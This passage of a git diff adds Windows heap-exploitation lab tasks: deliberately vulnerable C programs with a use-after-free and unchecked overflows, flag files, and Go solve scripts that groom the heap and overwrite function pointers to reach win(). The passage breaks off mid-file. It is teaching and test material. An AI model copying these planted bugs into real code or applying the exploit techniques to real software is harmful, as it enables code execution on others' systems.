build/patch level, on one machine, today. LFH's internal +bucket layout, subsegment sizing, and reuse heuristics are NOT a stable +public contract -- they have changed across Windows versions before and can +again. If you reuse this technique on a different build (or even a +different machine), re-run the grooming experiment yourself (spray N, +free one, spray replacements, count attempts-to-reuse) before trusting any +specific number from this file or relying on "free the last one" as if it +were guaranteed forever. Treat every offset/heuristic in a heap task as +something to verify against *your actual target*, not something to copy +from someone else's writeup. +*/ +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "strings" + "winpwn" +) + +// parseAddr extracts the "0x..." hex value following "addr=" in a line +// like "OK id=5 addr=0x0000000000aa08e0". +func parseAddr(line []byte) (uint64, error) { + idx := bytes.Index(line, []byte("addr=0x")) + if idx == -1 { + return 0, fmt.Errorf("no addr= in line %q", line) + } + hexPart := line[idx+len("addr=0x"):] + hexPart = bytes.TrimSpace(hexPart) + return strconv.ParseUint(string(hexPart), 16, 64) +} + +func main() { + pf, err := winpwn.OpenPE("heap_lfh.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + winRVA, err := pf.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found: %v", err) + } + base, err := pf.ImageBase() + if err != nil { + log.Fatalf("ImageBase: %v", err) + } + winAddr := base + winRVA + pf.Close() + fmt.Printf("[+] win() address: 0x%X\n", winAddr) + + tube, err := winpwn.Spawn("heap_lfh.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + if _, err := tube.RecvLine(); err != nil { // "heap_lfh ready" + log.Fatalf("RecvLine: %v", err) + } + + // A few filler notes (any of these could be freed and would NOT + // reliably come back quickly -- that's the empirical finding). + for i := 0; i < 5; i++ { + if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil { + log.Fatalf("SendLine: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine: %v", err) + } + } + + // The victim note: allocated *last*, so its slot belongs to the + // subsegment LFH is still actively issuing from. + if err := tube.SendLine([]byte("A victim")); err != nil { + log.Fatalf("SendLine: %v", err) + } + resp, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine: %v", err) + } + victimAddr, err := parseAddr(resp) + if err != nil { + log.Fatalf("parse victim addr: %v", err) + } + victimID := 5 + fmt.Printf("[+] victim note id=%d addr=0x%X\n", victimID, victimAddr) + + if err := tube.SendLine([]byte(fmt.Sprintf("F %d", victimID))); err != nil { + log.Fatalf("SendLine: %v", err) + } + if _, err := tube.RecvLine(); err != nil { + log.Fatalf("RecvLine: %v", err) + } + + // Fake Note{ title[24], onPrint }: 24 bytes of filler (never read once + // onPrint is redirected) + win()'s address where onPrint lives. + payload := bytes.Repeat([]byte{0x41}, 24) + payload = append(payload, winpwn.P64(winAddr)...) + payloadHex := winpwn.Enhex(payload) + + // winpwn.SprayAndFind seeded with the one known target (the freed + // victim's leaked address): every spray attempt is checked against it, + // stopping the moment a replacement reuses that exact slot. + const maxAttempts = 64 + victim := winpwn.SprayResult[uint64]{ID: victimID, Key: victimAddr} + _, _, attempts, ok, err := winpwn.SprayAndFind( + []winpwn.SprayResult[uint64]{victim}, + maxAttempts, + func(attempt int) (winpwn.SprayResult[uint64], error) { + if err := tube.SendLine([]byte("B " + payloadHex)); err != nil { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err) + } + resp, err := tube.RecvLine() + if err != nil { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err) + } + if !strings.HasPrefix(string(resp), "OK") { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("unexpected response: %q", resp) + } + addr, err := parseAddr(resp) + return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err + }, + func(a, b uint64) bool { return a == b }, + ) + if err != nil { + log.Fatalf("spray: %v", err) + } + if !ok { + log.Fatalf("never landed on the freed slot within %d attempts", maxAttempts) + } + fmt.Printf("[+] spray hit the freed slot after %d attempt(s)\n", attempts) + + if err := tube.SendLine([]byte(fmt.Sprintf("P %d", victimID))); err != nil { + log.Fatalf("SendLine: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/heap_lfh/src/heap_lfh.c b/workspace/heap_lfh/src/heap_lfh.c new file mode 100644 index 0000000..95e9cd3 --- /dev/null +++ b/workspace/heap_lfh/src/heap_lfh.c @@ -0,0 +1,156 @@ +/* +heap_lfh -- a deliberately tiny note manager, vulnerable to a classic +use-after-free on Windows' real Low Fragmentation Heap (not a simulation): +a private heap is created and explicitly switched into LFH mode via +HeapSetInformation(HeapCompatibilityInformation, 2), the same documented +mechanism winpwn's own reference notes (heap/pocs/02_lfh_probe.c) use to +make LFH active deterministically instead of waiting on the ~17-allocation +auto-activation heuristic. + +The bug: Free (F) does not clear the dangling pointer in the notes table. +Print (P) calls through Note.onPrint without checking whether the note was +freed. There's also no bounds check tying the declared length of a B +(buffer) command to the fixed 32-byte allocation it writes into. + +Protocol (one command per line, stdout is unbuffered): + A allocate a Note{char title[24]; void(*onPrint)(const + char*);}, fills title (truncated to 23 chars + NUL), + sets onPrint to the real print function. + -> "OK id= addr=0x" + F HeapFree the note at that id (pointer stays in the table). + -> "OK" + B allocate a raw 32-byte buffer from the SAME heap and + write exactly 32 attacker-supplied bytes into it + (hex-encoded, 64 hex chars). + -> "OK addr=0x" + P call notes[id]->onPrint(notes[id]->title). + -> whatever onPrint prints + Q quit. + +__declspec(dllexport) on win() so it's found via the PE export table the +same way examples/task2_rop's win() is -- no symbols needed. +*/ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include + +typedef struct { + char title[24]; + void (*onPrint)(const char *); +} Note; + +#define MAX_NOTES 4096 +static Note *g_notes[MAX_NOTES]; +static int g_note_count = 0; +static HANDLE g_heap; + +static void real_print(const char *title) { + printf("note: %s\n", title); +} + +__declspec(dllexport) void win(const char *ignored) { + HANDLE hFile; + char buffer[256]; + DWORD bytesRead; + + printf("you just got code execution via a freed onPrint pointer\n"); + + hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("Cannot open file.\n"); + ExitProcess(0); + } + if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) { + buffer[bytesRead] = '\0'; + printf("%s", buffer); + } + printf("\n"); + CloseHandle(hFile); + ExitProcess(0); +} + +static int hexval(char c) { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + return -1; +} + +static int unhex32(const char *hex, unsigned char *out) { + if (strlen(hex) != 64) return 0; + for (int i = 0; i < 32; i++) { + int hi = hexval(hex[i * 2]); + int lo = hexval(hex[i * 2 + 1]); + if (hi < 0 || lo < 0) return 0; + out[i] = (unsigned char)((hi << 4) | lo); + } + return 1; +} + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + g_heap = HeapCreate(0, 0, 0); + if (!g_heap) { + printf("HeapCreate failed\n"); + return 1; + } + ULONG mode = 2; /* HeapCompatibilityInformation: 2 == LFH, see heap/pocs/02_lfh_probe.c */ + HeapSetInformation(g_heap, HeapCompatibilityInformation, &mode, sizeof(mode)); + + printf("heap_lfh ready\n"); + + char line[256]; + while (fgets(line, sizeof(line), stdin)) { + line[strcspn(line, "\r\n")] = 0; + + if (line[0] == 'A' && line[1] == ' ') { + if (g_note_count >= MAX_NOTES) { + printf("ERR too many notes\n"); + continue; + } + Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note)); + if (!n) { printf("ERR alloc failed\n"); continue; } + strncpy(n->title, line + 2, sizeof(n->title) - 1); + n->title[sizeof(n->title) - 1] = 0; + n->onPrint = real_print; + int id = g_note_count++; + g_notes[id] = n; + printf("OK id=%d addr=0x%p\n", id, (void *)n); + } else if (line[0] == 'F' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_note_count || !g_notes[id]) { + printf("ERR bad id\n"); + continue; + } + HeapFree(g_heap, 0, g_notes[id]); + printf("OK\n"); + } else if (line[0] == 'B' && line[1] == ' ') { + unsigned char buf[32]; + if (!unhex32(line + 2, buf)) { + printf("ERR need exactly 64 hex chars (32 bytes)\n"); + continue; + } + void *p = HeapAlloc(g_heap, 0, 32); + if (!p) { printf("ERR alloc failed\n"); continue; } + memcpy(p, buf, 32); + printf("OK addr=0x%p\n", p); + } else if (line[0] == 'P' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_note_count || !g_notes[id]) { + printf("ERR bad id\n"); + continue; + } + g_notes[id]->onPrint(g_notes[id]->title); + } else if (line[0] == 'Q') { + break; + } else { + printf("ERR unknown command\n"); + } + } + return 0; +} diff --git a/workspace/heap_overflow/flag.txt b/workspace/heap_overflow/flag.txt new file mode 100644 index 0000000..8fa91ef --- /dev/null +++ b/workspace/heap_overflow/flag.txt @@ -0,0 +1 @@ +flag{adjacent_chunk_overflow} diff --git a/workspace/heap_overflow/heap_overflow.exe b/workspace/heap_overflow/heap_overflow.exe new file mode 100644 index 0000000..e87544a Binary files /dev/null and b/workspace/heap_overflow/heap_overflow.exe differ diff --git a/workspace/heap_overflow/main.go b/workspace/heap_overflow/main.go new file mode 100644 index 0000000..efdb33e --- /dev/null +++ b/workspace/heap_overflow/main.go @@ -0,0 +1,127 @@ +/* +Solve script for heap_overflow.exe: adjacent-chunk NT Heap overflow. + +Heap layout (both Notes allocated from the same private heap, no LFH): + + HEADER(16) note[0].buf[24] note[0].action(8) + HEADER(16) note[1].buf[24] note[1].action(8) + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Each HEADER is a 16-byte _HEAP_ENTRY, XOR-encoded against _HEAP.Encoding. + We overwrite it as part of the overflow, but since we never call HeapFree + on note[1] after the overflow (just directly call note[1]->action), the + corrupted header is never read back by the allocator. + +The W command writes hex-decoded bytes starting at note[id]->buf with NO +bounds check. Overflowing 72 bytes from note[0]->buf reaches note[1]->action: + + note[0]->buf [0..23] 24 bytes -- fill with padding + note[0]->action [24..31] 8 bytes -- overwrite (any value, not called) + note[1] HEADER [32..47] 16 bytes -- corrupted, doesn't matter (not freed) + note[1]->buf [48..71] 24 bytes -- overwrite (any value, not called via action) + note[1]->action [72..79] 8 bytes -- WIN: write win() address here + + Total: 80 bytes; win() address at bytes 72-79 (little-endian). + +After the overflow: C 1 calls note[1]->action(note[1]->buf) -> win(). + +win() address comes from PE export table (no ASLR to defeat -- or if running +remotely, parse from the provided binary the same way examples/heap_lfh does). + +NOTE FOR TASK AUTHORS: the key empirical invariant to verify is that notes[0] +and notes[1] are actually adjacent with no free chunk between them. With +exactly two 32-byte allocations and a fresh HeapCreate(0,0,0), this holds +reliably on build 10.0.26100. Check with `winpwn heap -walk` and look +for an adjacent busy pair at distance 0x30 (48 bytes = 16 header + 32 data). +The _HEAP_ENTRY header in between is XOR-encoded but the overflow just +overwrites it with garbage -- that's fine because we never HeapFree note[1]. +*/ +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "winpwn" +) + +func parseAddr(line []byte) (uint64, error) { + idx := bytes.Index(line, []byte("addr=0x")) + if idx == -1 { + return 0, fmt.Errorf("no addr= in %q", line) + } + return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64) +} + +func main() { + pf, err := winpwn.OpenPE("heap_overflow.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + winRVA, err := pf.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found: %v", err) + } + base, err := pf.ImageBase() + if err != nil { + log.Fatalf("ImageBase: %v", err) + } + winAddr := base + winRVA + pf.Close() + fmt.Printf("[+] win() @ 0x%X\n", winAddr) + + tube, err := winpwn.Spawn("heap_overflow.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + if _, err := tube.RecvLine(); err != nil { // "heap_overflow ready" + log.Fatalf("RecvLine: %v", err) + } + + // Step 1: allocate two notes consecutively -> they will be adjacent + for _, text := range []string{"A note0", "A note1"} { + if err := tube.SendLine([]byte(text)); err != nil { + log.Fatalf("SendLine %s: %v", text, err) + } + resp, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine: %v", err) + } + addr, _ := parseAddr(resp) + fmt.Printf("[+] %s\n", bytes.TrimSpace(resp)) + _ = addr + } + + // Step 2: overflow note[0]->buf into note[1]->action + // + // Payload layout (80 bytes total): + // bytes 0-23: 'A'*24 (fills note[0]->buf) + // bytes 24-31: 'B'*8 (overwrites note[0]->action -- value doesn't matter) + // bytes 32-47: 'C'*16 (overwrites note[1]'s _HEAP_ENTRY header -- doesn't matter, not freed) + // bytes 48-71: 'D'*24 (overwrites note[1]->buf -- doesn't matter, just read as string) + // bytes 72-79: win() (overwrites note[1]->action -- THIS is what we call) + // + payload := bytes.Repeat([]byte{0x41}, 24) // note[0]->buf + payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0]->action + payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // note[1] header + payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1]->buf + payload = append(payload, winpwn.P64(winAddr)...) // note[1]->action + + fmt.Printf("[+] overflow payload: %d bytes, win() @ offset 72\n", len(payload)) + overflow := "W 0 " + winpwn.Enhex(payload) + if err := tube.SendLine([]byte(overflow)); err != nil { + log.Fatalf("SendLine W: %v", err) + } + if _, err := tube.RecvLine(); err != nil { // "OK" + log.Fatalf("RecvLine W resp: %v", err) + } + fmt.Printf("[+] overflow written, note[1]->action now points to win()\n") + + // Step 3: call note[1]->action -> win() + fmt.Printf("[+] calling C 1...\n") + if err := tube.SendLine([]byte("C 1")); err != nil { + log.Fatalf("SendLine C: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/heap_overflow/src/heap_overflow.c b/workspace/heap_overflow/src/heap_overflow.c new file mode 100644 index 0000000..055d283 --- /dev/null +++ b/workspace/heap_overflow/src/heap_overflow.c @@ -0,0 +1,172 @@ +/* +heap_overflow -- adjacent-chunk heap overflow on NT Heap backend. + +Two Note objects allocated consecutively on a clean NT Heap segment (no LFH +activation for this allocation count -- only 2-3 objects total per exploit +run). Each Note is: + + Note { char buf[24]; void(*action)(const char*); } = 32 bytes + +The overflow site: command W writes hex-decoded bytes starting at +note[id]->buf with NO bounds check on the hex length. A write longer than 24 +bytes spills into note[id]->action (the function pointer), and if longer still, +spills across the 16-byte NT _HEAP_ENTRY header into the next note's buf and +eventually its action pointer too. + +Layout on the heap (addresses relative to note[0]'s HEADER start): + +0x00 _HEAP_ENTRY header (16 bytes, XOR-encoded -- we don't need to care, + we're not freeing note[1] after the overflow) + +0x10 note[0]->buf [0..23] (24 bytes) + +0x28 note[0]->action [24..31] (8 bytes, function pointer) + +0x30 _HEAP_ENTRY header for note[1] (16 bytes, gets corrupted -- OK) + +0x40 note[1]->buf [0..23] + +0x58 note[1]->action [24..31] <-- target: 0x48 bytes from note[0]->buf + +So writing 0x48 = 72 bytes from note[0]->buf, with win()'s address in bytes +64-71 (0-indexed from note[0]->buf), overwrites note[1]->action. + +Then command C 1 calls note[1]->action -- attacker lands at win(). + +Protocol (one command per line, stdout unbuffered): + A allocate Note{buf=text (truncated to 23 chars), action=real_action}. + -> "OK id= addr=0x" + W write hex bytes starting at note[id]->buf -- NO BOUNDS CHECK. + -> "OK" + C call note[id]->action(note[id]->buf). + Q quit. + +NOTE FOR TASK AUTHORS: the critical constraint is that notes[0] and notes[1] +must end up adjacent in the heap (no gap). With HeapCreate(0,0,0) and exactly +two 32-byte allocations with no interleaving frees, they are reliably adjacent +on the NT Heap backend on this build. If you increase the note struct size or +add other allocations between them, verify adjacency with the winpwn heap CLI: +`winpwn heap -walk` and look for "adjacent busy pairs". Also: the +_HEAP_ENTRY header between them uses XOR encoding and gets corrupted by the +overflow, but since we call action directly (no subsequent HeapFree on note[1]), +the corrupted header is never read back by the allocator -- so the exploit +works even though the header is garbage after the write. +*/ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include + +typedef struct { + char buf[24]; + void (*action)(const char *); +} Note; + +#define MAX_NOTES 256 +static Note *g_notes[MAX_NOTES]; +static int g_note_count = 0; +static HANDLE g_heap; + +static void real_action(const char *buf) { + printf("note: %s\n", buf); + fflush(stdout); +} + +__declspec(dllexport) void win(const char *ignored) { + HANDLE hFile; + char buffer[256]; + DWORD bytesRead; + + printf("heap overflow worked -- adjacent chunk action pointer corrupted\n"); + fflush(stdout); + + hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("Cannot open flag.txt\n"); + fflush(stdout); + ExitProcess(0); + } + if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) { + buffer[bytesRead] = '\0'; + printf("%s", buffer); + fflush(stdout); + } + CloseHandle(hFile); + ExitProcess(0); +} + +static int hexval(char c) { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + return -1; +} + +static int unhex(const char *hex, unsigned char *out, int maxout) { + int n = (int)strlen(hex); + if (n % 2 != 0 || n / 2 > maxout) return 0; + for (int i = 0; i < n / 2; i++) { + int hi = hexval(hex[i * 2]); + int lo = hexval(hex[i * 2 + 1]); + if (hi < 0 || lo < 0) return 0; + out[i] = (unsigned char)((hi << 4) | lo); + } + return n / 2; +} + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + /* Private heap, no LFH -- guaranteed backend allocation ordering */ + g_heap = HeapCreate(0, 0, 0); + if (!g_heap) { + printf("HeapCreate failed\n"); + return 1; + } + + printf("heap_overflow ready\n"); + + char line[1024]; + while (fgets(line, sizeof(line), stdin)) { + line[strcspn(line, "\r\n")] = 0; + + if (line[0] == 'A' && line[1] == ' ') { + if (g_note_count >= MAX_NOTES) { printf("ERR too many\n"); continue; } + Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note)); + if (!n) { printf("ERR alloc\n"); continue; } + memset(n->buf, 0, sizeof(n->buf)); + strncpy(n->buf, line + 2, sizeof(n->buf) - 1); + n->action = real_action; + int id = g_note_count++; + g_notes[id] = n; + printf("OK id=%d addr=0x%p\n", id, (void *)n); + + } else if (line[0] == 'W' && line[1] == ' ') { + int id; + char hexbuf[513]; + if (sscanf(line + 2, "%d %512s", &id, hexbuf) != 2) { + printf("ERR usage: W \n"); continue; + } + if (id < 0 || id >= g_note_count || !g_notes[id]) { + printf("ERR bad id\n"); continue; + } + unsigned char raw[256]; + int n = unhex(hexbuf, raw, sizeof(raw)); + if (n == 0) { printf("ERR bad hex\n"); continue; } + /* THE BUG: no check that n <= sizeof(Note) */ + memcpy(g_notes[id]->buf, raw, n); + printf("OK\n"); + + } else if (line[0] == 'C' && line[1] == ' ') { + int id = atoi(line + 2); + if (id < 0 || id >= g_note_count || !g_notes[id]) { + printf("ERR bad id\n"); continue; + } + g_notes[id]->action(g_notes[id]->buf); + + } else if (line[0] == 'Q') { + break; + } else { + printf("ERR unknown command\n"); + } + fflush(stdout); + } + return 0; +} diff --git a/workspace/heap_segment/flag.txt b/workspace/heap_segment/flag.txt new file mode 100644 index 0000000..27ee1b5 --- /dev/null +++ b/workspace/heap_segment/flag.txt @@ -0,0 +1 @@ +flag{segment_heap_adjacent_chunk_overflow} diff --git a/workspace/heap_segment/heap_segment.exe b/workspace/heap_segment/heap_segment.exe new file mode 100644 index 0000000..df72a0f Binary files /dev/null and b/workspace/heap_segment/heap_segment.exe differ diff --git a/workspace/heap_segment/heap_segment_target.exe b/workspace/heap_segment/heap_segment_target.exe new file mode 100644 index 0000000..853ad75 Binary files /dev/null and b/workspace/heap_segment/heap_segment_target.exe differ diff --git a/workspace/heap_segment/main.go b/workspace/heap_segment/main.go new file mode 100644 index 0000000..e0a051e --- /dev/null +++ b/workspace/heap_segment/main.go @@ -0,0 +1,164 @@ +/* +Solve script for heap_segment.exe (see src/heap_segment.c): an +adjacent-chunk heap overflow on a real Segment-Heap-backed process heap +(the target opts in via an embedded manifest; GetProcessHeap() really is +Segment Heap, confirmed in the C source's own startup banner). + +Segment Heap's "Small" allocator packs same-size allocations densely into +4KB pages, but *not* in allocation order -- the offset within the page is +randomized per allocation (empirically verified while building this: +twenty sequential 32-byte allocations land all over a single page, not +back-to-back). So instead of assuming adjacency, this script leaks every +allocation's address (the target's A command happens to print it, the +same "legitimate bookkeeping output doubles as the leak primitive" pattern +as examples/heap_lfh) and searches the leaked addresses for a pair that +really is exactly sizeof(Profile)=32 bytes apart. Empirically, a spray of +20 always contains at least one such pair on this machine/OS build. + +Once found: id_a's name buffer is overflowable past its own 32 bytes +straight into id_b's struct, landing on id_b's `describe` function +pointer at offset 24-31 of id_b -- i.e. offset 56-63 relative to id_a's +own allocation start. The spray/pair-search loop is winpwn.SprayAndFind +(spray.go) -- the same primitive examples/heap_lfh uses for a structurally +different relation (equality against one known target, instead of a +distance check across everything sprayed). + +NOTE FOR TASK AUTHORS (not specific to this task -- read this before +designing your own heap challenge): "20 always contains a pair" and the +profileSize=32 distance check are facts about *this exact struct, on this +exact Windows build*, measured empirically by spraying it for real -- not +something Segment Heap guarantees as a stable contract. Segment Heap's +"Small" allocator's packing behavior is liable to differ across Windows +versions (and possibly even across runs on heavily fragmented heaps). +Anyone reusing this adjacent-overflow approach for a different struct size +or a different machine should re-run the same empirical step this script +already does at runtime -- spray N, leak every address, check for the +expected distance -- rather than hardcoding a spray count or an offset +copied from this writeup and assuming it transfers. +*/ +package main + +import ( + "bytes" + "fmt" + "log" + "strconv" + "winpwn" +) + +func parseIDAndAddr(line []byte) (int, uint64, error) { + idIdx := bytes.Index(line, []byte("id=")) + addrIdx := bytes.Index(line, []byte("addr=0x")) + if idIdx == -1 || addrIdx == -1 { + return 0, 0, fmt.Errorf("unparseable line %q", line) + } + idPart := bytes.Fields(line[idIdx+len("id="):])[0] + id, err := strconv.Atoi(string(idPart)) + if err != nil { + return 0, 0, err + } + addrPart := bytes.TrimSpace(line[addrIdx+len("addr=0x"):]) + addr, err := strconv.ParseUint(string(addrPart), 16, 64) + if err != nil { + return 0, 0, err + } + return id, addr, nil +} + +const profileSize = 32 // sizeof(Profile): char name[24] + void* describe + +func main() { + pf, err := winpwn.OpenPE("heap_segment.exe") + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + winRVA, err := pf.GetProcAddress("win") + if err != nil { + log.Fatalf("win() not found: %v", err) + } + base, err := pf.ImageBase() + if err != nil { + log.Fatalf("ImageBase: %v", err) + } + winAddr := base + winRVA + pf.Close() + fmt.Printf("[+] win() address: 0x%X\n", winAddr) + + tube, err := winpwn.Spawn("heap_segment.exe") + if err != nil { + log.Fatalf("Spawn: %v", err) + } + + readyLine, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine: %v", err) + } + fmt.Printf("[*] %s", readyLine) + + // winpwn.SprayAndFind with no seed: every newly sprayed allocation is + // checked against everything sprayed before it for the one relation + // that matters here -- "exactly sizeof(Profile) apart" -- rather than + // collecting all addresses first and searching afterward. + const spray = 20 + a, b, _, ok, err := winpwn.SprayAndFind( + nil, + spray, + func(i int) (winpwn.SprayResult[uint64], error) { + if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err) + } + resp, err := tube.RecvLine() + if err != nil { + return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err) + } + id, addr, err := parseIDAndAddr(resp) + return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err + }, + func(x, y uint64) bool { + d := int64(y) - int64(x) + return d == profileSize || d == -profileSize + }, + ) + if err != nil { + log.Fatalf("spray: %v", err) + } + if !ok { + log.Fatalf("no adjacent pair found in a spray of %d -- try a bigger spray", spray) + } + + // match() is direction-agnostic (it only checks |distance|), so the + // attacker (the lower address -- it overflows *forward* into the + // victim) needs to be picked out by comparing the two found keys, not + // just trusting which one SprayAndFind happened to label "older". + attackerID, victimID := a.ID, b.ID + attackerAddr, victimAddr := a.Key, b.Key + if a.Key > b.Key { + attackerID, victimID = b.ID, a.ID + attackerAddr, victimAddr = b.Key, a.Key + } + fmt.Printf("[+] found adjacent pair: attacker id=%d (0x%X), victim id=%d (0x%X)\n", + attackerID, attackerAddr, victimID, victimAddr) + + // 56 bytes of filler to walk past the attacker's own 32-byte + // allocation and the victim's name[24], landing exactly on the + // victim's `describe` field (offset 24 within the victim, i.e. + // offset 32+24=56 from the attacker's allocation start). + payload := bytes.Repeat([]byte{0x41}, 56) + payload = append(payload, winpwn.P64(winAddr)...) + payloadHex := winpwn.Enhex(payload) + + if err := tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, payloadHex))); err != nil { + log.Fatalf("SendLine: %v", err) + } + resp, err := tube.RecvLine() + if err != nil { + log.Fatalf("RecvLine: %v", err) + } + fmt.Printf("[*] overflow response: %s", resp) + + if err := tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))); err != nil { + log.Fatalf("SendLine: %v", err) + } + + tube.Interactive() +} diff --git a/workspace/heap_segment/src/heap_segment.c b/workspace/heap_segment/src/heap_segment.c new file mode 100644 index 0000000..11016ce --- /dev/null +++ b/workspace/heap_segment/src/heap_segment.c @@ -0,0 +1,159 @@ +/* +heap_segment -- adjacent-chunk heap overflow on Windows' real Segment +Heap (not NT Heap/LFH). The process opts into Segment Heap via an +embedded application manifest (SegmentHeap> -- see +heap_segment.manifest/heap_segment.rc, the only Microsoft-documented way +to force it for a specific image without touching machine-wide settings), +so GetProcessHeap() itself is Segment-Heap-backed: confirmed empirically +while building this example by reading the heap handle's own Signature +field (*(DWORD*)(GetProcessHeap()+0x10) == 0xddeeddee for Segment Heap, +0xffeeffee for classic NT Heap). + +The bug: O (overflow) writes attacker-controlled, attacker-LENGTH bytes +starting at a Profile's address with no check that the length fits the +32-byte allocation -- a plain unchecked memcpy. Segment Heap's famous +mitigation (full physical isolation of heap *metadata* from user *data*, +see USAGE.md's walkthrough) means this overflow can never reach allocator +control structures, but it can still walk straight into whatever user data +happens to be allocated right after it in the same page -- and Segment +Heap's "Small" allocator packs same-size allocations densely into 4KB +pages, just at a randomized offset within the page rather than in +allocation order. Leak enough addresses (the A command leaks each one) and +some pair will be exactly 32 bytes apart (empirically: spray>=10 finds +one in every trial run while building this). + +Protocol (one command per line, stdout unbuffered): + A allocate a Profile{char name[24]; void(*describe)(const + char*);}, fills name (truncated to 23 chars + NUL), sets + describe to the real print function. + -> "OK id= addr=0x" + O write decode(hex) raw bytes starting at profiles[id] + (i.e. at name[0]) -- NOT bounds-checked against the + 32-byte allocation. + -> "OK" + D call profiles[id]->describe(profiles[id]->name). + Q quit. +*/ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include + +typedef struct { + char name[24]; + void (*describe)(const char *); +} Profile; + +#define MAX_PROFILES 4096 +static Profile *g_profiles[MAX_PROFILES]; +static int g_profile_count = 0; + +static void real_describe(const char *name) { + printf("profile: %s\n", name); +} + +__declspec(dllexport) void win(const char *ignored) { + HANDLE hFile; + char buffer[256]; + DWORD bytesRead; + + printf("you just got code execution via an adjacent-chunk overflow\n"); + + hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("Cannot open file.\n"); + ExitProcess(0); + } + if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) { + buffer[bytesRead] = '\0'; + printf("%s", buffer); + } + printf("\n"); + CloseHandle(hFile); + ExitProcess(0); +} + +static int hexval(char c) { + if (c >= '0' && c <= '9') return c - '0'; + if (c >= 'a' && c <= 'f') return c - 'a' + 10; + if (c >= 'A' && c <= 'F') return c - 'A' + 10; + return -1; +} + +/* Decodes hex into out, returns the number of bytes decoded (0 on bad input). + No length cap here -- the caller (the O command) is the vulnerable site. */ +static int unhex(const char *hex, unsigned char *out, int max_out) { + int n = (int)strlen(hex); + if (n % 2 != 0) return 0; + int len = n / 2; + if (len > max_out) return 0; /* still capped by our own receive buffer, not by the target's allocation */ + for (int i = 0; i < len; i++) { + int hi = hexval(hex[i * 2]); + int lo = hexval(hex[i * 2 + 1]); + if (hi < 0 || lo < 0) return 0; + out[i] = (unsigned char)((hi << 4) | lo); + } + return len; +} + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + unsigned int sig = *(unsigned int *)((char *)GetProcessHeap() + 0x10); + printf("heap_segment ready (heap signature 0x%08x)\n", sig); + + char line[1024]; + while (fgets(line, sizeof(line), stdin)) { + line[strcspn(line, "\r\n")] = 0; + + if (line[0] == 'A' && line[1] == ' ') { + if (g_profile_count >= MAX_PROFILES) { + printf("ERR too many profiles\n"); + continue; + } + Profile *p = (Profile *)HeapAlloc(GetProcessHeap(), 0, sizeof(Profile)); + if (!p) { printf("ERR alloc failed\n"); continue; } + strncpy(p->name, line + 2, sizeof(p->name) - 1); + p->name[sizeof(p->name) - 1] = 0; + p->describe = real_describe; + int id = g_profile_count++; + g_profiles[id] = p; + printf("OK id=%d addr=0x%p\n", id, (void *)p); + } else if (line[0] == 'O' && line[1] == ' ') { + int id; + char hexbuf[513]; + if (sscanf(line + 2, "%d %512s", &id, hexbuf) != 2) { + printf("ERR usage: O 